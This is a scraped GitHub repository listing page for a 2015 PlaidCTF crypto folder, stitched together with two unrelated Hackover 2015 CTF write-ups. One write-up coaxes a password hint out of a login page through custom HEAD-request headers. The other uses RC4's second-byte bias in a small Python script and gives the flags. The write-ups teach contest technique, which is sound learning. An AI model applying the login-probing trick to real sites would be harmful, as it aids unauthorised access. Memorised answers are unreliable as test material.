<span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/everping/ctfs/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":34235949,"originating_url":"https://github.com/everping/ctfs/tree/master/2015/4/plaidctf/crypto/strength","user_id":null}}" data-hydro-click-hmac="616449cccd23b6fd91d696544e48ae6e71190490e2d0bab3d9df27bc9c38263a"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/everping/ctfs/refs" cache-key="v0:1429510553.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZXZlcnBpbmcvY3Rmcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/everping/ctfs/refs" cache-key="v0:1429510553.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZXZlcnBpbmcvY3Rmcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfs</span></span></span><span>/</span><span><span>2015</span></span><span>/</span><span><span>4</span></span><span>/</span><span><span>plaidctf</span></span><span>/</span><span><span>crypto</span></span><span>/</span>strength<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfs</span></span></span><span>/</span><span><span>2015</span></span><span>/</span><span><span>4</span></span><span>/</span><span><span>plaidctf</span></span><span>/</span><span><span>crypto</span></span><span>/</span>strength<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/everping/ctfs/tree-commit/97180516115e22adcb7c3eed940017537437480e/2015/4/plaidctf/crypto/strength" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/everping/ctfs/file-list/master/2015/4/plaidctf/crypto/strength"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>captured_827a1815859149337d928a8a2c88f89f</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
<span>Open the challenge URL (http://hack-the-planet.hackover.h4q.it) and see that we are presented with a login page. Enter some credentials and we are redirected to the /login page. Enter the URL to the login-page in POSTMAN and set the verb of the request to HEAD.We then see that response returns the header:"X-Hackers-Kate-Libby": "make it my first-born!"A search for "kate libby make it my first born" on google reveals that this is a part of a dialogue in the movie "Hackers":Dade Murphy: And if I win?Kate Libby: Make it my first-born!(source: http://www.imdb.com/title/tt0113243/quotes?item=qt0448581)If we set the header "X-Hackers-Dade-Murphy": "And if I win?" and make another HEAD request we get a new header in the response:"X-Hackers-The-Five-Most-Used-Passwords-Are": "password,secret,love,god,sex"Enter some username and the returned password (password,secret,love,god,sex) on the login page and we get the flag:<span>hackover15{Thepoolontheroofnusthavealeak}</span></span>
## Hackover CTF: Racer ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Hackover CTF | Racer | Crypto | 300 | *Description*> Join the race and make a round. Don't forget to view the winner animation! ----------## Write-up For this challenge we need to choose Red/Blue correct about 40 times in a row to win a race, if we get it wrong at any time we are moved back to the beginning. So we need to figure out something to base our choice on. We can download a 'pills' file, in which there are 2048 files of appearantly random data. In the source code we find: >```go> var fn func([]byte)> if s.GetColor() == "red" {> fn = fillRc4> } else {> fn = fillRandom> }> w.Header().Set("Content-Type", "application/x-gtar")> buildArchive(w, fn)>}>>func buildArchive(w io.Writer, fillRandom func([]byte)) {> size := 16> randombytes := make([]byte, size)> z := gzip.NewWriter(w)> tw := tar.NewWriter(z)> createTime := time.Now()> for i := 0; i < NUM_CHEMICALS; i++ {> tw.WriteHeader(&tar.Header{Name: CHEMICALS[i],> Mode: 0666,> Uid: 1000,> Gid: 1000,> Size: int64(size),> ModTime: createTime,> Typeflag: tar.TypeReg,> })> if i == 42 {> tw.Write(HINT)> } else {> fillRandom(randombytes)> tw.Write(randombytes)> }> }> tw.Close()> z.Close()>}>``` This reveals that if the we need to choose "Red" the data is actully RC4 encrypted. >```>the second output byte of the cipher was biased toward zero with probability 1/128 (instead of 1/256)>``` Thus we can distinguish the pills file: >```python>#!/usr/bin/python>>import os>import tarfile>import shutil>>tfile = tarfile.open("pills.tar.gz", 'r:gz')>tfile.extractall('./pills')>>count = 0>for filename in os.listdir("./pills"):> with open("pills/" + filename, 'rb') as f:> f.read(1)> byte = f.read(1)> if byte == "\x00":> count += 1>print count>if count < 8:> print "Seems random? -> blue">if count > 16:> print "Seems RC4? -> red">>shutil.rmtree("./pills")>``` Thankfully we can redownload the file and we get a different one. The flag was something like (I didn't write it down): >```>hackover15{juprc4istotallybroken}>```
